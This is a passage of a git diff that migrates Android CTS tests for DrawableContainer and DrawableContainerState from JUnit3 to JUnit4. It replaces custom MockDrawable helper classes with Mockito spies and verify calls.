         assertFalse(dr0.isVisible());
 
-        MockDrawable dr1 = new MockDrawable();
+        Drawable dr1 = spy(new ColorDrawable(Color.BLUE));
         dr1.setVisible(true, false);
         assertTrue(dr1.isVisible());
         assertEquals(1, mDrawableContainerState.addChild(dr1));
@@ -88,35 +101,37 @@
         assertSame(dr1, children[2]);
     }
 
-    public void testIsStateFul() {
+    @Test
+    public void testIsStateful() {
         assertEquals(0, mDrawableContainerState.getChildCount());
         assertFalse(mDrawableContainerState.isStateful());
 
-        MockDrawable dr0 = new MockDrawable();
-        dr0.setStateful(false);
+        Drawable dr0 = spy(new ColorDrawable(Color.RED));
+        doReturn(false).when(dr0).isStateful();
         mDrawableContainerState.addChild(dr0);
         assertEquals(1, mDrawableContainerState.getChildCount());
         assertFalse(mDrawableContainerState.isStateful());
 
-        MockDrawable dr1 = new MockDrawable();
-        dr1.setStateful(false);
+        Drawable dr1 = spy(new ColorDrawable(Color.GREEN));
+        doReturn(false).when(dr1).isStateful();
         mDrawableContainerState.addChild(dr1);
         assertEquals(2, mDrawableContainerState.getChildCount());
         assertFalse(mDrawableContainerState.isStateful());
 
-        MockDrawable dr2 = new MockDrawable();
-        dr2.setStateful(true);
+        Drawable dr2 = spy(new ColorDrawable(Color.BLUE));
+        doReturn(true).when(dr2).isStateful();
         mDrawableContainerState.addChild(dr2);
         assertEquals(3, mDrawableContainerState.getChildCount());
         assertTrue(mDrawableContainerState.isStateful());
 
-        MockDrawable dr3 = new MockDrawable();
-        dr3.setStateful(false);
+        Drawable dr3 = spy(new ColorDrawable(Color.YELLOW));
+        doReturn(false).when(dr3).isStateful();
         mDrawableContainerState.addChild(dr3);
         assertEquals(4, mDrawableContainerState.getChildCount());
         assertTrue(mDrawableContainerState.isStateful());
     }
 
+    @Test
     public void testAccessEnterFadeDuration() {
         mDrawableContainerState.setEnterFadeDuration(1000);
         assertEquals(1000, mDrawableContainerState.getEnterFadeDuration());
@@ -125,6 +140,7 @@
         assertEquals(-1000, mDrawableContainerState.getEnterFadeDuration());
     }
 
+    @Test
     public void testAccessExitFadeDuration() {
         mDrawableContainerState.setExitFadeDuration(1000);
         assertEquals(1000, mDrawableContainerState.getExitFadeDuration());
@@ -133,6 +149,7 @@
         assertEquals(-1000, mDrawableContainerState.getExitFadeDuration());
     }
 
+    @Test
     public void testAccessConstantSize() {
         mDrawableContainerState.setConstantSize(true);
         assertTrue(mDrawableContainerState.isConstantSize());
@@ -141,6 +158,7 @@
         assertFalse(mDrawableContainerState.isConstantSize());
     }
 
+    @Test
     public void testAccessConstantPadding() {
         mDrawableContainerState.setVariablePadding(true);
         assertNull(mDrawableContainerState.getConstantPadding());
@@ -173,6 +191,7 @@
         */
     }
 
+    @Test
     public void testConstantHeightsAndWidths() {
         assertEquals(0, mDrawableContainerState.getChildCount());
         assertEquals(-1, mDrawableContainerState.getConstantHeight());
@@ -180,11 +199,11 @@
         assertEquals(0, mDrawableContainerState.getConstantMinimumHeight());
         assertEquals(0, mDrawableContainerState.getConstantMinimumWidth());
 
-        MockDrawable dr0 = new MockDrawable();
-        dr0.setMinimumHeight(1);
-        dr0.setMinimumWidth(2);
-        dr0.setIntrinsicHeight(0);
-        dr0.setIntrinsicWidth(0);
+        Drawable dr0 = spy(new ColorDrawable(Color.RED));
+        doReturn(1).when(dr0).getMinimumHeight();
+        doReturn(2).when(dr0).getMinimumWidth();
+        doReturn(0).when(dr0).getIntrinsicHeight();
+        doReturn(0).when(dr0).getIntrinsicWidth();
         mDrawableContainerState.addChild(dr0);
         assertEquals(1, mDrawableContainerState.getChildCount());
         assertEquals(0, mDrawableContainerState.getConstantHeight());
@@ -192,11 +211,11 @@
         assertEquals(1, mDrawableContainerState.getConstantMinimumHeight());
         assertEquals(2, mDrawableContainerState.getConstantMinimumWidth());
 
-        MockDrawable dr1 = new MockDrawable();
-        dr1.setMinimumHeight(0);
-        dr1.setMinimumWidth(0);
-        dr1.setIntrinsicHeight(3);
-        dr1.setIntrinsicWidth(4);
+        Drawable dr1 = spy(new ColorDrawable(Color.BLUE));
+        doReturn(0).when(dr1).getMinimumHeight();
+        doReturn(0).when(dr1).getMinimumWidth();
+        doReturn(3).when(dr1).getIntrinsicHeight();
+        doReturn(4).when(dr1).getIntrinsicWidth();
         mDrawableContainerState.addChild(dr1);
         assertEquals(2, mDrawableContainerState.getChildCount());
         assertEquals(3, mDrawableContainerState.getConstantHeight());
@@ -204,11 +223,11 @@
         assertEquals(1, mDrawableContainerState.getConstantMinimumHeight());
         assertEquals(2, mDrawableContainerState.getConstantMinimumWidth());
 
-        MockDrawable dr2 = new MockDrawable();
-        dr2.setMinimumHeight(5);
-        dr2.setMinimumWidth(5);
-        dr2.setIntrinsicHeight(5);
-        dr2.setIntrinsicWidth(5);
+        Drawable dr2 = spy(new ColorDrawable(Color.GREEN));
+        doReturn(5).when(dr2).getMinimumHeight();
+        doReturn(5).when(dr2).getMinimumWidth();
+        doReturn(5).when(dr2).getIntrinsicHeight();
+        doReturn(5).when(dr2).getIntrinsicWidth();
         mDrawableContainerState.addChild(dr2);
         assertEquals(3, mDrawableContainerState.getChildCount());
         assertEquals(5, mDrawableContainerState.getConstantHeight());
@@ -217,50 +236,55 @@
         assertEquals(5, mDrawableContainerState.getConstantMinimumWidth());
     }
 
+    @Test
     public void testGetOpacity() {
         assertEquals(0, mDrawableContainerState.getChildCount());
         assertEquals(PixelFormat.TRANSPARENT, mDrawableContainerState.getOpacity());
 
-        MockDrawable dr0 = new MockDrawable();
-        dr0.setOpacity(PixelFormat.OPAQUE);
+        Drawable dr0 = spy(new ColorDrawable(Color.RED));
+        doReturn(PixelFormat.OPAQUE).when(dr0).getOpacity();
         mDrawableContainerState.addChild(dr0);
         assertEquals(1, mDrawableContainerState.getChildCount());
         assertEquals(PixelFormat.OPAQUE, mDrawableContainerState.getOpacity());
 
-        MockDrawable dr1 = new MockDrawable();
-        dr1.setOpacity(PixelFormat.TRANSPARENT);
+        Drawable dr1 = spy(new ColorDrawable(Color.BLUE));
+        doReturn(PixelFormat.TRANSPARENT).when(dr1).getOpacity();
         mDrawableContainerState.addChild(dr1);
         assertEquals(2, mDrawableContainerState.getChildCount());
         assertEquals(PixelFormat.TRANSPARENT, mDrawableContainerState.getOpacity());
 
-        MockDrawable dr2 = new MockDrawable();
-        dr2.setOpacity(PixelFormat.TRANSLUCENT);
+        Drawable dr2 = spy(new ColorDrawable(Color.GREEN));
+        doReturn(PixelFormat.TRANSLUCENT).when(dr2).getOpacity();
         mDrawableContainerState.addChild(dr2);
         assertEquals(3, mDrawableContainerState.getChildCount());
         assertEquals(PixelFormat.TRANSLUCENT, mDrawableContainerState.getOpacity());
 
-        MockDrawable dr3 = new MockDrawable();
-        dr3.setOpacity(PixelFormat.UNKNOWN);
+        Drawable dr3 = spy(new ColorDrawable(Color.YELLOW));
+        doReturn(PixelFormat.UNKNOWN).when(dr3).getOpacity();
         mDrawableContainerState.addChild(dr3);
         assertEquals(4, mDrawableContainerState.getChildCount());
         assertEquals(PixelFormat.UNKNOWN, mDrawableContainerState.getOpacity());
 
-        MockDrawable dr4 = new MockDrawable();
-        dr4.setOpacity(PixelFormat.TRANSLUCENT);
+        Drawable dr4 = spy(new ColorDrawable(Color.MAGENTA));
+        doReturn(PixelFormat.TRANSLUCENT).when(dr4).getOpacity();
         mDrawableContainerState.addChild(dr4);
         assertEquals(5, mDrawableContainerState.getChildCount());
         assertEquals(PixelFormat.UNKNOWN, mDrawableContainerState.getOpacity());
     }
 
+    @Test
     public void testCanConstantState() {
         DrawableContainer dr = new LevelListDrawable();
         DrawableContainerState cs = (DrawableContainerState) dr.getConstantState();
         assertTrue(cs.canConstantState());
 
-        cs.addChild(new MockDrawable());
+        Drawable child = spy(new ColorDrawable(Color.RED));
+        doReturn(null).when(child).getConstantState();
+        cs.addChild(child);
         assertFalse(cs.canConstantState());
     }
 
+    @Test
     public void testGrowArray() {
         DrawableContainer dr = new LevelListDrawable();
         DrawableContainerState cs = (DrawableContainerState) dr.getConstantState();
@@ -277,111 +301,4 @@
         cs.growArray(0, 10);
         cs.getChild(9);
     }
-
-    private class MockDrawable extends Drawable {
-        private boolean mIsStatful;
-
-        private Rect mPadding;
-
-        private int mIntrinsicHeight;
-
-        private int mIntrinsicWidth;
-
-        private int mMinimumHeight;
-
-        private int mMinimumWidth;
-
-        private int mOpacity;
-
-        @Override
-        public void draw(Canvas canvas) {
-        }
-
-        @Override
-        public int getOpacity() {
-            return mOpacity;
-        }
-
-        @Override
-        public void setAlpha(int alpha) {
-        }
-
-        @Override
-        public void setColorFilter(ColorFilter cf) {
-        }
-
-        @Override
-        public boolean isStateful() {
-            return mIsStatful;
-        }
-
-        public void setStateful(boolean isStateful) {
-            mIsStatful = isStateful;
-        }
-
-        public void setPadding(Rect rect) {
-            if (mPadding == null) {
-                mPadding = new Rect();
-            }
-            mPadding.left = rect.left;
-            mPadding.right = rect.right;
-            mPadding.top = rect.top;
-            mPadding.bottom = rect.bottom;
-        }
-
-        @Override
-        public boolean getPadding(Rect padding) {
-            if (padding == null) {
-                return false;
-            }
-            if (mPadding == null) {
-                return false;
-            }
-            padding.left = mPadding.left;
-            padding.top = mPadding.top;
-            padding.right = mPadding.right;
-            padding.bottom = mPadding.bottom;
-            return true;
-        }
-
-        @Override
-        public int getMinimumHeight() {
-            return mMinimumHeight;
-        }
-
-        @Override
-        public int getMinimumWidth() {
-            return mMinimumWidth;
-        }
-
-        @Override
-        public int getIntrinsicHeight() {
-            return mIntrinsicHeight;
-        }
-
-        @Override
-        public int getIntrinsicWidth() {
-            return mIntrinsicWidth;
-        }
-
-        public void setMinimumHeight(int h) {
-            mMinimumHeight = h;
-        }
-
-        public void setMinimumWidth(int w) {
-            mMinimumWidth = w;
-        }
-
-        public void setIntrinsicHeight(int h) {
-            mIntrinsicHeight = h;
-        }
-
-        public void setIntrinsicWidth(int w) {
-            mIntrinsicWidth = w;
-        }
-
-        public void setOpacity(int opacity){
-            mOpacity = opacity;
-        }
-    }
 }
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/DrawableContainerTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/DrawableContainerTest.java
index e78b04c..9b93a48 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/DrawableContainerTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/DrawableContainerTest.java
@@ -16,31 +16,60 @@
 
 package android.graphics.drawable.cts;
 
-import junit.framework.TestCase;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+import static org.mockito.Matchers.any;
+import static org.mockito.Matchers.anyInt;
+import static org.mockito.Matchers.anyLong;
+import static org.mockito.Mockito.atLeastOnce;
+import static org.mockito.Mockito.doAnswer;
+import static org.mockito.Mockito.doNothing;
+import static org.mockito.Mockito.doReturn;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.never;
+import static org.mockito.Mockito.reset;
+import static org.mockito.Mockito.spy;
+import static org.mockito.Mockito.times;
+import static org.mockito.Mockito.verify;
 
-import java.util.Arrays;
-
+import android.content.res.ColorStateList;
 import android.graphics.Canvas;
 import android.graphics.Color;
 import android.graphics.ColorFilter;
 import android.graphics.PixelFormat;
+import android.graphics.PorterDuff;
 import android.graphics.PorterDuff.Mode;
 import android.graphics.Rect;
+import android.graphics.drawable.ColorDrawable;
 import android.graphics.drawable.Drawable;
 import android.graphics.drawable.DrawableContainer;
 import android.graphics.drawable.DrawableContainer.DrawableContainerState;
 import android.graphics.drawable.LevelListDrawable;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 
-public class DrawableContainerTest extends TestCase {
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.mockito.invocation.InvocationOnMock;
+
+import java.util.Arrays;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class DrawableContainerTest {
     private DrawableContainerState mDrawableContainerState;
 
     private MockDrawableContainer mMockDrawableContainer;
     private DrawableContainer mDrawableContainer;
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-
+    @Before
+    public void setup() {
         // DrawableContainerState has no public constructor. Obtain an instance through
         // LevelListDrawable.getConstants(). This is fine for testing the final methods of
         // DrawableContainerState.
@@ -49,65 +78,75 @@
         assertNotNull(mDrawableContainerState);
 
         mMockDrawableContainer = new MockDrawableContainer();
+        // While the two fields point to the same object, the second one is there to
+        // workaround the bug in CTS coverage tool that is not recognizing calls on
+        // subclasses.
         mDrawableContainer = mMockDrawableContainer;
+
+        assertNull(mDrawableContainer.getCurrent());
     }
 
-    public void testDraw() {
-        assertConstantStateNotSet();
-        assertNull(mDrawableContainer.getCurrent());
+    @Test(expected=NullPointerException.class)
+    public void testConstantStateNotSet() {
+        // This should throw NPE since our mock container has not been configured with
+        // constant state yet
+        mDrawableContainer.getConstantState();
+    }
 
+    @Test
+    public void testDraw() {
         mDrawableContainer.draw(null);
         mDrawableContainer.draw(new Canvas());
 
         mMockDrawableContainer.setConstantState(mDrawableContainerState);
-        MockDrawable dr = new MockDrawable();
+        Drawable dr = spy(new ColorDrawable(Color.WHITE));
         addAndSelectDrawable(dr);
 
-        dr.reset();
+        reset(dr);
+        doNothing().when(dr).draw(any());
         mDrawableContainer.draw(null);
-        assertTrue(dr.hasDrawCalled());
+        verify(dr, times(1)).draw(any());
 
-        dr.reset();
+        reset(dr);
+        doNothing().when(dr).draw(any());
         mDrawableContainer.draw(new Canvas());
-        assertTrue(dr.hasDrawCalled());
+        verify(dr, times(1)).draw(any());
     }
 
+    @Test
     public void testSetEnterFadeDuration() {
-        helpTestSetEnterFadeDuration(1000);
-        helpTestSetEnterFadeDuration(0);
+        verifySetEnterFadeDuration(1000);
+        verifySetEnterFadeDuration(0);
     }
 
-    private void helpTestSetEnterFadeDuration(int enterFadeDuration) {
+    private void verifySetEnterFadeDuration(int enterFadeDuration) {
         DrawableContainer container = new LevelListDrawable();
         DrawableContainerState cs = ((DrawableContainerState) container.getConstantState());
         container.setEnterFadeDuration(enterFadeDuration);
         assertEquals(enterFadeDuration, cs.getEnterFadeDuration());
     }
 
+    @Test
     public void testSetExitFadeDuration() {
-        helpTestSetExitFadeDuration(1000);
-        helpTestSetExitFadeDuration(0);
+        verifySetExitFadeDuration(1000);
+        verifySetExitFadeDuration(0);
     }
 
-    private void helpTestSetExitFadeDuration(int exitFadeDuration) {
+    private void verifySetExitFadeDuration(int exitFadeDuration) {
         DrawableContainer container = new LevelListDrawable();
         DrawableContainerState cs = ((DrawableContainerState) container.getConstantState());
         container.setExitFadeDuration(exitFadeDuration);
         assertEquals(exitFadeDuration, cs.getExitFadeDuration());
     }
 
+    @Test(expected=NullPointerException.class)
+    public void testGetChangingConfigurationsNoConstantState() {
+        // Should throw NullPointerException if the constant state is not set
+        mDrawableContainer.getChangingConfigurations();
+    }
+
+    @Test
     public void testGetChangingConfigurations() {
-        // Workaround for CTS coverage not recognizing calls on subclasses.
-        DrawableContainer dr = mDrawableContainer;
-
-        assertConstantStateNotSet();
-
-        try {
-            mDrawableContainer.getChangingConfigurations();
-            fail("Should throw NullPointerException if the constant state is not set.");
-        } catch (NullPointerException e) {
-        }
-
         mMockDrawableContainer.setConstantState(mDrawableContainerState);
         MockDrawable dr0 = new MockDrawable();
         dr0.setChangingConfigurations(0x001);
@@ -115,7 +154,7 @@
         MockDrawable dr1 = new MockDrawable();
         dr1.setChangingConfigurations(0x010);
         mDrawableContainerState.addChild(dr1);
-        dr.selectDrawable(0);
+        mDrawableContainer.selectDrawable(0);
         assertSame(dr0, mDrawableContainer.getCurrent());
 
         // can not set mDrawableContainerState's ChangingConfigurations
@@ -124,28 +163,33 @@
                 mDrawableContainer.getChangingConfigurations());
     }
 
-    public void testGetPadding() {
-        // Workaround for CTS coverage not recognizing calls on subclasses.
-        DrawableContainer dr = mDrawableContainer;
-
-        assertConstantStateNotSet();
-        assertNull(mDrawableContainer.getCurrent());
-
+    @Test(expected=NullPointerException.class)
+    public void testGetPaddingNoConstantState() {
         Rect result = new Rect(1, 1, 1, 1);
-        try {
-            mDrawableContainer.getPadding(result);
-            fail("Should throw NullPointerException if the constant state is not set.");
-        } catch (NullPointerException e) {
-        }
+        // Should throw NullPointerException if the constant state is not set
+        mDrawableContainer.getPadding(result);
+    }
+
+    @Test
+    public void testGetPadding() {
+        Rect result = new Rect(1, 1, 1, 1);
 
         mMockDrawableContainer.setConstantState(mDrawableContainerState);
-        MockDrawable dr0 = new MockDrawable();
-        dr0.setPadding(new Rect(1, 2, 0, 0));
+        Drawable dr0 = spy(new ColorDrawable(Color.BLUE));
+        doAnswer((InvocationOnMock invocation) -> {
+            Rect target = (Rect) invocation.getArguments() [0];
+            target.set(1, 2, 0, 0);
+            return true;
+        }).when(dr0).getPadding(any());
         mDrawableContainerState.addChild(dr0);
-        MockDrawable dr1 = new MockDrawable();
-        dr1.setPadding(new Rect(0, 0, 3, 4));
+        Drawable dr1 = spy(new ColorDrawable(Color.RED));
+        doAnswer((InvocationOnMock invocation) -> {
+            Rect target = (Rect) invocation.getArguments() [0];
+            target.set(0, 0, 3, 4);
+            return true;
+        }).when(dr1).getPadding(any());
         mDrawableContainerState.addChild(dr1);
-        dr.selectDrawable(0);
+        mDrawableContainer.selectDrawable(0);
         assertSame(dr0, mDrawableContainer.getCurrent());
 
         // use the current drawable's padding
@@ -161,7 +205,7 @@
         assertEquals(mDrawableContainerState.getConstantPadding(), result);
 
         // use default padding
-        dr.selectDrawable(-1);
+        mDrawableContainer.selectDrawable(-1);
         assertNull(mDrawableContainer.getCurrent());
         mDrawableContainerState.setVariablePadding(true);
         assertNull(mDrawableContainerState.getConstantPadding());
@@ -175,55 +219,48 @@
         }
     }
 
+    @Test
     public void testSetAlpha() {
-        // Workaround for CTS coverage not recognizing calls on subclasses.
-        DrawableContainer dr = mDrawableContainer;
-
-        assertConstantStateNotSet();
-        assertNull(mDrawableContainer.getCurrent());
-
-        dr.setAlpha(0);
+        mDrawableContainer.setAlpha(0);
 
         mMockDrawableContainer.setConstantState(mDrawableContainerState);
-        MockDrawable mockDrawable = new MockDrawable();
+        Drawable mockDrawable = spy(new ColorDrawable(Color.BLACK));
         addAndSelectDrawable(mockDrawable);
 
         // call current drawable's setAlpha if alpha is changed.
-        mockDrawable.reset();
-        dr.setAlpha(1);
-        assertTrue(mockDrawable.hasSetAlphaCalled());
+        reset(mockDrawable);
+        mDrawableContainer.setAlpha(1);
+        verify(mockDrawable, times(1)).setAlpha(1);
 
         // does not call it if alpha is not changed.
-        mockDrawable.reset();
-        dr.setAlpha(1);
-        assertFalse(mockDrawable.hasSetAlphaCalled());
+        reset(mockDrawable);
+        mDrawableContainer.setAlpha(1);
+        verify(mockDrawable, never()).setAlpha(anyInt());
     }
 
+    @Test
     public void testSetDither() {
-        assertConstantStateNotSet();
-        assertNull(mDrawableContainer.getCurrent());
-
         mMockDrawableContainer.setConstantState(mDrawableContainerState);
         mDrawableContainer.setDither(false);
         mDrawableContainer.setDither(true);
 
-        MockDrawable dr = new MockDrawable();
+        Drawable dr = spy(new ColorDrawable(Color.BLUE));
         addAndSelectDrawable(dr);
 
         // call current drawable's setDither if dither is changed.
-        dr.reset();
+        reset(dr);
         mDrawableContainer.setDither(false);
-        assertTrue(dr.hasSetDitherCalled());
+        verify(dr, times(1)).setDither(false);
 
         // does not call it if dither is not changed.
-        dr.reset();
+        reset(dr);
         mDrawableContainer.setDither(true);
-        assertTrue(dr.hasSetDitherCalled());
+        verify(dr, times(1)).setDither(true);
     }
 
+    @Test
     public void testSetHotspotBounds() {
         Rect bounds = new Rect(10, 15, 100, 150);
-        assertConstantStateNotSet();
         assertNull(mDrawableContainer.getCurrent());
 
         mMockDrawableContainer.setConstantState(mDrawableContainerState);
@@ -240,9 +277,9 @@
         dr.reset();
     }
 
+    @Test
     public void testGetHotspotBounds() {
         Rect bounds = new Rect(10, 15, 100, 150);
-        assertConstantStateNotSet();
         assertNull(mDrawableContainer.getCurrent());
 
         mMockDrawableContainer.setConstantState(mDrawableContainerState);
@@ -259,54 +296,44 @@
         dr.reset();
     }
 
+    @Test
     public void testSetColorFilter() {
-        // Workaround for CTS coverage not recognizing calls on subclasses.
-        DrawableContainer dr = mDrawableContainer;
-
-        assertConstantStateNotSet();
-        assertNull(mDrawableContainer.getCurrent());
-
         mMockDrawableContainer.setConstantState(mDrawableContainerState);
-        dr.setColorFilter(null);
-        dr.setColorFilter(new ColorFilter());
+        mDrawableContainer.setColorFilter(null);
+        mDrawableContainer.setColorFilter(new ColorFilter());
 
-        MockDrawable mockDrawable = new MockDrawable();
+        Drawable mockDrawable = spy(new ColorDrawable(Color.MAGENTA));
         addAndSelectDrawable(mockDrawable);
 
         // call current drawable's setColorFilter if filter is changed.
-        mockDrawable.reset();
-        dr.setColorFilter(null);
-        assertTrue(mockDrawable.hasSetColorFilterCalled());
+        reset(mockDrawable);
+        mDrawableContainer.setColorFilter(null);
+        verify(mockDrawable, times(1)).setColorFilter(null);
 
         // does not call it if filter is not changed.
-        mockDrawable.reset();
-        dr.setColorFilter(new ColorFilter());
-        assertTrue(mockDrawable.hasSetColorFilterCalled());
+        reset(mockDrawable);
+        mDrawableContainer.setColorFilter(new ColorFilter());
+        verify(mockDrawable, times(1)).setColorFilter(any());
     }
 
+    @Test
     public void testSetTint() {
-        assertConstantStateNotSet();
-        assertNull(mDrawableContainer.getCurrent());
-
         mMockDrawableContainer.setConstantState(mDrawableContainerState);
         mDrawableContainer.setTint(Color.BLACK);
         mDrawableContainer.setTintMode(Mode.SRC_OVER);
 
-        MockDrawable dr = new MockDrawable();
+        Drawable dr = spy(new ColorDrawable(Color.GREEN));
         addAndSelectDrawable(dr);
 
-        assertEquals("Initial tint propagates", Mode.SRC_OVER, dr.getTintMode());
+        verify(dr, times(1)).setTintMode(Mode.SRC_OVER);
 
-        dr.reset();
         mDrawableContainer.setTintList(null);
         mDrawableContainer.setTintMode(null);
-        assertTrue("setImageTintList() propagates", dr.hasSetTintCalled());
+        verify(dr, times(1)).setTintMode(null);
     }
 
+    @Test
     public void testOnBoundsChange() {
-        assertConstantStateNotSet();
-        assertNull(mDrawableContainer.getCurrent());
-
         mMockDrawableContainer.onBoundsChange(new Rect());
         mMockDrawableContainer.onBoundsChange(null);
 
@@ -334,21 +361,20 @@
         }
     }
 
+    @Test(expected=NullPointerException.class)
+    public void testIsStatefulNoConstantState() {
+        // Should throw NullPointerException if the constant state is not set
+        mDrawableContainer.isStateful();
+    }
+
+    @Test
     public void testIsStateful() {
-        assertConstantStateNotSet();
-
-        try {
-            mDrawableContainer.isStateful();
-            fail("Should throw NullPointerException if the constant state is not set.");
-        } catch (NullPointerException e) {
-        }
-
         mMockDrawableContainer.setConstantState(mDrawableContainerState);
-        MockDrawable dr0 = new MockDrawable();
-        dr0.setStateful(true);
+        Drawable dr0 = spy(new ColorDrawable(Color.YELLOW));
+        doReturn(true).when(dr0).isStateful();
         mDrawableContainerState.addChild(dr0);
-        MockDrawable dr1 = new MockDrawable();
-        dr1.setStateful(false);
+        Drawable dr1 = spy(new ColorDrawable(Color.GREEN));
+        doReturn(false).when(dr1).isStateful();
         mDrawableContainerState.addChild(dr1);
 
         // return result of constant state's isStateful
@@ -360,10 +386,8 @@
         assertEquals(true, mDrawableContainer.isStateful());
     }
 
+    @Test
     public void testOnStateChange() {
-        assertConstantStateNotSet();
-        assertNull(mDrawableContainer.getCurrent());
-
         assertFalse(mMockDrawableContainer.onStateChange(new int[] { 0 }));
         assertFalse(mMockDrawableContainer.onStateChange(null));
 
@@ -390,10 +414,8 @@
         assertTrue(Arrays.equals(new int[] { 0 }, dr.getState()));
     }
 
+    @Test
     public void testOnLevelChange() {
-        assertConstantStateNotSet();
-        assertNull(mDrawableContainer.getCurrent());
-
         assertFalse(mMockDrawableContainer.onLevelChange(Integer.MAX_VALUE));
         assertFalse(mMockDrawableContainer.onLevelChange(Integer.MIN_VALUE));
 
@@ -422,21 +444,20 @@
         assertFalse(dr.hasOnLevelChangedCalled());
     }
 
+    @Test(expected=NullPointerException.class)
+    public void testGetIntrinsicWidthNoConstantState() {
+        // Should throw NullPointerException if the constant state is not set
+        mDrawableContainer.getIntrinsicWidth();
+    }
+
+    @Test
     public void testGetIntrinsicWidth() {
-        assertConstantStateNotSet();
-
-        try {
-            mDrawableContainer.getIntrinsicWidth();
-            fail("Should throw NullPointerException if the constant state is not set.");
-        } catch (NullPointerException e) {
-        }
-
         mMockDrawableContainer.setConstantState(mDrawableContainerState);
-        MockDrawable dr0 = new MockDrawable();
-        dr0.setIntrinsicWidth(1);
+        Drawable dr0 = spy(new ColorDrawable(Color.RED));
+        doReturn(1).when(dr0).getIntrinsicWidth();
         mDrawableContainerState.addChild(dr0);
-        MockDrawable dr1 = new MockDrawable();
-        dr1.setIntrinsicWidth(2);
+        Drawable dr1 = spy(new ColorDrawable(Color.GREEN));
+        doReturn(2).when(dr1).getIntrinsicWidth();
         mDrawableContainerState.addChild(dr1);
 
         // return result of constant state's getConstantWidth
@@ -456,21 +477,20 @@
         assertEquals(1, mDrawableContainer.getIntrinsicWidth());
     }
 
+    @Test(expected=NullPointerException.class)
+    public void testGetIntrinsicHeightNoConstantState() {
+        // Should throw NullPointerException if the constant state is not set
+        mDrawableContainer.getIntrinsicHeight();
+    }
+
+    @Test
     public void testGetIntrinsicHeight() {
-        assertConstantStateNotSet();
-
-        try {
-            mDrawableContainer.getIntrinsicHeight();
-            fail("Should throw NullPointerException if the constant state is not set.");
-        } catch (NullPointerException e) {
-        }
-
         mMockDrawableContainer.setConstantState(mDrawableContainerState);
-        MockDrawable dr0 = new MockDrawable();
-        dr0.setIntrinsicHeight(1);
+        Drawable dr0 = spy(new ColorDrawable(Color.RED));
+        doReturn(1).when(dr0).getIntrinsicHeight();
         mDrawableContainerState.addChild(dr0);
-        MockDrawable dr1 = new MockDrawable();
-        dr1.setIntrinsicHeight(2);
+        Drawable dr1 = spy(new ColorDrawable(Color.GREEN));
+        doReturn(2).when(dr1).getIntrinsicHeight();
         mDrawableContainerState.addChild(dr1);
 
         // return result of constant state's getConstantHeight
@@ -490,21 +510,20 @@
         assertEquals(1, mDrawableContainer.getIntrinsicHeight());
     }
 
+    @Test(expected=NullPointerException.class)
+    public void testGetMinimumWidthNoConstantState() {
+        // Should throw NullPointerException if the constant state is not set
+        mDrawableContainer.getMinimumWidth();
+    }
+
+    @Test
     public void testGetMinimumWidth() {
-        assertConstantStateNotSet();
-
-        try {
-            mDrawableContainer.getMinimumWidth();
-            fail("Should throw NullPointerException if the constant state is not set.");
-        } catch (NullPointerException e) {
-        }
-
         mMockDrawableContainer.setConstantState(mDrawableContainerState);
-        MockDrawable dr0 = new MockDrawable();
-        dr0.setMinimumWidth(1);
+        Drawable dr0 = spy(new ColorDrawable(Color.RED));
+        doReturn(1).when(dr0).getMinimumWidth();
         mDrawableContainerState.addChild(dr0);
-        MockDrawable dr1 = new MockDrawable();
-        dr1.setMinimumWidth(2);
+        Drawable dr1 = spy(new ColorDrawable(Color.RED));
+        doReturn(2).when(dr1).getMinimumWidth();
         mDrawableContainerState.addChild(dr1);
 
         // return result of constant state's getConstantMinimumWidth
@@ -524,21 +543,20 @@
         assertEquals(1, mDrawableContainer.getMinimumWidth());
     }
 
+    @Test(expected=NullPointerException.class)
+    public void testGetMinimumHeightNoConstantState() {
+        // Should throw NullPointerException if the constant state is not set
+        mDrawableContainer.getMinimumHeight();
+    }
+
+    @Test
     public void testGetMinimumHeight() {
-        assertConstantStateNotSet();
-
-        try {
-            mDrawableContainer.getMinimumHeight();
-            fail("Should throw NullPointerException if the constant state is not set.");
-        } catch (NullPointerException e) {
-        }
-
         mMockDrawableContainer.setConstantState(mDrawableContainerState);
-        MockDrawable dr0 = new MockDrawable();
-        dr0.setMinimumHeight(1);
+        Drawable dr0 = spy(new ColorDrawable(Color.RED));
+        doReturn(1).when(dr0).getMinimumHeight();
         mDrawableContainerState.addChild(dr0);
-        MockDrawable dr1 = new MockDrawable();
-        dr1.setMinimumHeight(2);
+        Drawable dr1 = spy(new ColorDrawable(Color.GREEN));
+        doReturn(2).when(dr1).getMinimumHeight();
         mDrawableContainerState.addChild(dr1);
 
         // return result of constant state's getConstantMinimumHeight
@@ -558,154 +576,108 @@
         assertEquals(1, mDrawableContainer.getMinimumHeight());
     }
 
+    @Test
     public void testInvalidateDrawable() {
-        // Workaround for CTS coverage not recognizing calls on subclasses.
-        DrawableContainer dr = mDrawableContainer;
-
-        assertConstantStateNotSet();
-        assertNull(mDrawableContainer.getCurrent());
-
         mDrawableContainer.setCallback(null);
-        dr.invalidateDrawable(mDrawableContainer);
-        dr.invalidateDrawable(null);
+        mDrawableContainer.invalidateDrawable(mDrawableContainer);
+        mDrawableContainer.invalidateDrawable(null);
 
-        MockCallBack callback = new MockCallBack();
+        Drawable.Callback callback = mock(Drawable.Callback.class);
         mDrawableContainer.setCallback(callback);
 
-        callback.reset();
-        dr.invalidateDrawable(mDrawableContainer);
-        assertFalse(callback.hasInvalidateDrawableCalled());
+        mDrawableContainer.invalidateDrawable(mDrawableContainer);
+        verify(callback, never()).invalidateDrawable(any());
 
         // the callback method can be called if the drawable passed in and the
-        // current drawble are both null
-        callback.reset();
-        dr.invalidateDrawable(null);
-        assertTrue(callback.hasInvalidateDrawableCalled());
+        // current drawable are both null
+        mDrawableContainer.invalidateDrawable(null);
+        verify(callback, times(1)).invalidateDrawable(any());
 
         mMockDrawableContainer.setConstantState(mDrawableContainerState);
